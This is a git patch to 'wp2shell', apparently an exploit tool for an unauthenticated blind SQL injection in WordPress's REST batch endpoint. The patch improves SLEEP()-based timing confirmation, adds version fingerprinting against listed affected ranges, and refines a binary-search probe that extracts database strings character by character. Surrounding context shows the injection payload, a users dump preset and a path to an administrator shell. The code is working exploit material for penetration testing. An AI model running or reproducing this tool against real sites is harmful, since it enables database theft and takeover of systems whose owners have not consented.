From 1742aa3d197c5834bb8473041b5d1f731577029a Mon Sep 17 00:00:00 2001 From: Icex0 <99045665+Icex0@users.noreply.github.com> Date: Sat, 18 Jul 2026 01:32:06 +0200 Subject: [PATCH] Added passive WordPress version checks --- README.md | 9 ++- wp2shell/cli.py | 44 ++++++++++++-- wp2shell/client.py | 18 ++++++ wp2shell/sqli.py | 53 ++++++++++++++-- wp2shell/version.py | 144 ++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 257 insertions(+), 11 deletions(-) create mode 100644 wp2shell/version.py diff --git a/README.md b/README.md index 8c21213..c4fb681 100644 --- a/README.md +++ b/README.md @@ -62,7 +62,11 @@ Or `pip install .` to get a `wp2shell` command on your `PATH`. ### check — confirm the vulnerability (safe) -Confirms exploitability with a differential time delay. It reads no data and changes nothing. +Confirms exploitability with paired differential time delays. It reads no data and changes +nothing. By default it sends three baseline/delayed pairs and decides on the median delta, which +is more reliable on noisy or rate-limited targets than a single timing comparison. If timing +confirmation fails, `check` also looks for passive public WordPress version hints from the REST API +generator, the homepage generator meta tag, and core asset `?ver=` query strings. ``` ./wp2shell.py check http://target @@ -97,6 +101,7 @@ path. Remove it when finished. | `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). | | `--timeout N` | all | Request timeout in seconds. | | `--sleep N` | check | Delay used to confirm the injection. | +| `--samples N` | check | Baseline/delayed timing pairs to compare (default 3). | | `--preset` | read | `fingerprint` or `users`. | | `--query` | read | A scalar SQL expression to read. | | `--prefix` | read | Database table prefix (default `wp_`). | @@ -114,7 +119,7 @@ endpoint via the `rest_pre_dispatch` filter. ## Legal For authorized security testing only. Use it exclusively against systems you own or have explicit -written permission to test. The author accepts no liability for misuse. +written permission to test. No warranty is provided and no liability is accepted for misuse. ## References diff --git a/wp2shell/cli.py b/wp2shell/cli.py index de98531..ea24c37 100644 --- a/wp2shell/cli.py +++ b/wp2shell/cli.py @@ -11,6 +11,7 @@ from . import __version__ from .client import BatchClient from .shell import AdminSession from .sqli import BlindSQLi +from .version import public_version_hints try: import readline # noqa: F401 - enables line editing/history for the interactive prompt @@ -62,6 +63,26 @@ def _client(args: argparse.Namespace) -> BatchClient: ) +def _short(text: str, *, limit: int = 96) -> str: + if len(text) <= limit: + return text + return text[: limit - 3] + "..." + + +def _print_version_hints(client: BatchClient) -> None: + hints = public_version_hints(client) + if not hints: + warn("No public WordPress version hints found.") + return + + info("Public WordPress version hints:") + for hint in hints: + status = "affected range" if hint.affected else "not in affected ranges" + print(f" - {hint.version} via {hint.source} ({status}) - {_short(hint.detail)}") + if any(hint.affected for hint in hints): + warn("A public version hint falls in the affected range; verify internally or confirm with authorization.") + + # -- commands --------------------------------------------------------------- @@ -76,14 +97,23 @@ def cmd_check(args: argparse.Namespace) -> int: probe = client.probe() if probe.status != 207: bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.") + _print_version_hints(client) return 1 good("Batch endpoint reachable and unauthenticated (HTTP 207).") - confirmed, baseline, delayed = BlindSQLi(client, sleep=args.sleep).confirm() - if confirmed: - good(f"VULNERABLE — baseline {baseline:.2f}s, injected {delayed:.2f}s.") + result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples) + if args.samples > 1: + details = ", ".join( + f"{base:.2f}s->{delay:.2f}s" for base, delay in result.samples + ) + info(f"Timing samples: {details}") + info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.") + if result.confirmed: + good(f"VULNERABLE — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") + _print_version_hints(client) return 0 - bad(f"Not vulnerable — baseline {baseline:.2f}s, injected {delayed:.2f}s.") + bad(f"Not vulnerable — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") + _print_version_hints(client) return 2 @@ -224,6 +254,12 @@ def build_parser() -> argparse.ArgumentParser: check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)") _add_common(check) check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)") + check.add_argument( + "--samples", + type=int, + default=3, + help="baseline/delayed timing pairs for confirmation (default: 3)", + ) check.set_defaults(func=cmd_check) read = sub.add_parser("read", help="read from the database via blind SQL injection") diff --git a/wp2shell/client.py b/wp2shell/client.py index b345925..54e82c0 100644 --- a/wp2shell/client.py +++ b/wp2shell/client.py @@ -75,6 +75,24 @@ class BatchClient: raise TargetError(f"cannot reach {self.endpoint}: {reason}") from None return Response(status, time.monotonic() - start, body) + def get(self, path: str) -> Response: + url = self.base_url + (path if path.startswith("/") else f"/{path}") + request = urllib.request.Request( + url, + method="GET", + headers={"User-Agent": self.user_agent}, + ) + start = time.monotonic() + try: + resp = self._opener.open(request, timeout=self.timeout) + status, body = resp.status, resp.read().decode("utf-8", "replace") + except urllib.error.HTTPError as exc: + status, body = exc.code, exc.read().decode("utf-8", "replace") + except OSError as exc: # URLError, connection refused, timeout, DNS failure + reason = getattr(exc, "reason", exc) + raise TargetError(f"cannot reach {url}: {reason}") from None + return Response(status, time.monotonic() - start, body) + def probe(self) -> Response: """A benign empty batch, used to test whether the endpoint is reachable and open.""" return self.post({"requests": []}) diff --git a/wp2shell/sqli.py b/wp2shell/sqli.py index 5b43486..b42b0dc 100644 --- a/wp2shell/sqli.py +++ b/wp2shell/sqli.py @@ -9,6 +9,8 @@ so a value of ``0) -- -`` closes the IN() list and appends arbitrary SQL. from __future__ import annotations +import statistics +from dataclasses import dataclass from typing import Callable, Optional, Tuple from .client import BatchClient @@ -17,6 +19,16 @@ _MIN_PRINTABLE = 32 _MAX_PRINTABLE = 126 +@dataclass +class TimingConfirmation: + confirmed: bool + baseline: float + delayed: float + delta: float + threshold: float + samples: Tuple[Tuple[float, float], ...] + + class BlindSQLi: def __init__(self, client: BatchClient, *, sleep: float = 3.0) -> None: self.client = client @@ -29,10 +41,40 @@ class BlindSQLi: Returns ``(confirmed, baseline_seconds, delayed_seconds)``. This reads no database content and modifies nothing. """ - baseline = self._elapsed("SLEEP(0)") - delayed = self._elapsed(f"SLEEP({self.sleep:g})") - confirmed = (delayed - baseline) >= (self.sleep - 1.0) - return confirmed, baseline, delayed + result = self.confirm_timing(samples=1) + return result.confirmed, result.baseline, result.delayed + + def confirm_timing(self, *, samples: int = 3) -> TimingConfirmation: + """Confirm injectability with paired timing samples. + + Network jitter makes a single baseline/delayed pair brittle, so this alternates + baseline and delayed requests and compares median paired deltas. + """ + if samples < 1: + raise ValueError("samples must be at least 1") + + pairs = [] + for _ in range(samples): + baseline = self._elapsed("SLEEP(0)") + delayed = self._elapsed(f"SLEEP({self.sleep:g})") + pairs.append((baseline, delayed)) + + baselines = [pair[0] for pair in pairs] + delayed = [pair[1] for pair in pairs] + deltas = [delay - base for base, delay in pairs] + baseline_median = statistics.median(baselines) + delayed_median = statistics.median(delayed) + delta_median = statistics.median(deltas) + threshold = max(0.75, self.sleep * 0.65) + confirmed = delta_median >= threshold + return TimingConfirmation( + confirmed=confirmed, + baseline=baseline_median, + delayed=delayed_median, + delta=delta_median, + threshold=threshold, + samples=tuple(pairs), + ) def extract( self, @@ -44,7 +86,8 @@ class BlindSQLi: """Read a string-valued SQL expression one character at a time (binary search).""" chars = [] for position in range(1, max_length + 1): - probe = f"ASCII(SUBSTRING(({expression}),{position},1))" + # COALESCE keeps a NULL result from short-circuiting into an empty read. + probe = f"ASCII(SUBSTRING(COALESCE(({expression}),''),{position},1))" if not self._true(f"{probe} > 0"): break low, high = _MIN_PRINTABLE, _MAX_PRINTABLE diff --git a/wp2shell/version.py b/wp2shell/version.py new file mode 100644 index 0000000..dc16f4e --- /dev/null +++ b/wp2shell/version.py @@ -0,0 +1,144 @@ +"""Passive WordPress version hints from public resources.""" + +from __future__ import annotations + +import json +import re +import urllib.parse +from dataclasses import dataclass +from html.parser import HTMLParser +from typing import Iterable, Optional, Tuple + +from .client import BatchClient, TargetError + +_WORDPRESS_RE = re.compile(r"\bWordPress\s+([0-9]+(?:\.[0-9]+){1,3})\b", re.I) +_VERSION_RE = re.compile(r"\b([0-9]+(?:\.[0-9]+){1,3})\b") + + +@dataclass(frozen=True) +class VersionHint: + version: str + source: str + detail: str + affected: bool + + +class _HomepageParser(HTMLParser): + def __init__(self) -> None: + super().__init__() + self.meta_generators = [] + self.assets = [] + + def handle_starttag(self, tag: str, attrs: Iterable[Tuple[str, Optional[str]]]) -> None: + values = {name.lower(): value for name, value in attrs if value is not None} + if tag.lower() == "meta" and values.get("name", "").lower() == "generator": + content = values.get("content") + if content: + self.meta_generators.append(content) + return + if tag.lower() in ("link", "script"): + asset = values.get("href") or values.get("src") + if asset: + self.assets.append(asset) + + +def public_version_hints(client: BatchClient) -> Tuple[VersionHint, ...]: + hints = [] + seen = set() + + def add(version: Optional[str], source: str, detail: str) -> None: + if not version: + return + key = (version, source) + if key in seen: + return + seen.add(key) + hints.append( + VersionHint( + version=version, + source=source, + detail=detail, + affected=is_affected_version(version), + ) + ) + + for path, source in ( + ("/wp-json/", "REST API generator"), + ("/?rest_route=/", "REST API generator (?rest_route=/)"), + ): + response = _get(client, path) + if response is None or response.status >= 400: + continue + try: + body = response.json() + except json.JSONDecodeError: + continue + if isinstance(body, dict): + generator = body.get("generator") + if isinstance(generator, str): + add(_version_from_generator(generator), source, generator) + + response = _get(client, "/") + if response is not None and response.status < 400: + parser = _HomepageParser() + parser.feed(response.body) + for generator in parser.meta_generators: + add(_version_from_wordpress_text(generator), "HTML generator meta", generator) + for asset in parser.assets: + add(_version_from_core_asset(asset), "core asset query string", asset) + + return tuple(hints) + + +def is_affected_version(version: str) -> bool: + parsed = _parse_version(version) + if parsed is None: + return False + return (6, 9, 0) <= parsed <= (6, 9, 4) or (7, 0, 0) <= parsed <= (7, 0, 1) + + +def _get(client: BatchClient, path: str): + try: + return client.get(path) + except TargetError: + return None + + +def _version_from_generator(value: str) -> Optional[str]: + parsed = urllib.parse.urlparse(value) + for version in urllib.parse.parse_qs(parsed.query).get("v", []): + normalized = _normalize_version(version) + if normalized: + return normalized + return _version_from_wordpress_text(value) + + +def _version_from_wordpress_text(value: str) -> Optional[str]: + match = _WORDPRESS_RE.search(value) + return _normalize_version(match.group(1)) if match else None + + +def _version_from_core_asset(value: str) -> Optional[str]: + parsed = urllib.parse.urlparse(value) + if "/wp-includes/" not in parsed.path and "/wp-admin/" not in parsed.path: + return None + for version in urllib.parse.parse_qs(parsed.query).get("ver", []): + normalized = _normalize_version(version) + if normalized: + return normalized + return None + + +def _normalize_version(value: str) -> Optional[str]: + match = _VERSION_RE.search(value) + return match.group(1) if match else None + + +def _parse_version(version: str) -> Optional[Tuple[int, int, int]]: + normalized = _normalize_version(version) + if not normalized: + return None + parts = [int(part) for part in normalized.split(".")] + while len(parts) < 3: + parts.append(0) + return tuple(parts[:3])